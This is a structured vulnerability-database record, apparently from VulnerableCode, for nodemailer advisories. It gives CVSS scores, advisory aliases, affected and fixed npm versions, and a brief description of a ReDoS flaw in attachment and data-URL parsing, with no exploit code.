url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8
3
reference_url https://github.com/advisories/GHSA-c7w3-x93f-qmm8
reference_id GHSA-c7w3-x93f-qmm8
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-c7w3-x93f-qmm8
fixed_packages
0
url pkg:npm/nodemailer@8.0.4
purl pkg:npm/nodemailer@8.0.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-682s-hdwz-5fdn
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nodemailer@8.0.4
aliases GHSA-c7w3-x93f-qmm8
risk_score 1.4
exploitability 0.5
weighted_severity 2.7
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-pcax-yssv-6qby
Fixing_vulnerabilities
0
url VCID-5w3y-3jd9-tug2
vulnerability_id VCID-5w3y-3jd9-tug2
summary
nodemailer ReDoS when trying to send a specially crafted email
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
references
0
reference_url https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6
1
reference_url https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
2
reference_url https://github.com/nodemailer/nodemailer
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer
3
reference_url https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a
reference_id
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a
4
reference_url https://github.com/advisories/GHSA-9h6g-pr28-7cqp
reference_id GHSA-9h6g-pr28-7cqp
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9h6g-pr28-7cqp
5
reference_url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp
reference_id GHSA-9h6g-pr28-7cqp
reference_type
scores
0
value 5.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp
fixed_packages
0
url pkg:npm/nodemailer@6.9.9
purl pkg:npm/nodemailer@6.9.9
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-682s-hdwz-5fdn
1
vulnerability VCID-dm5c-jfy6-jyax
2
vulnerability VCID-dyzb-n3f5-u3by
3
vulnerability VCID-hx8n-ebjx-pfah
4
vulnerability VCID-pcax-yssv-6qby
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/nodemailer@6.9.9
aliases GHSA-9h6g-pr28-7cqp, GMS-2024-59
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-5w3y-3jd9-tug2
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/nodemailer@6.9.9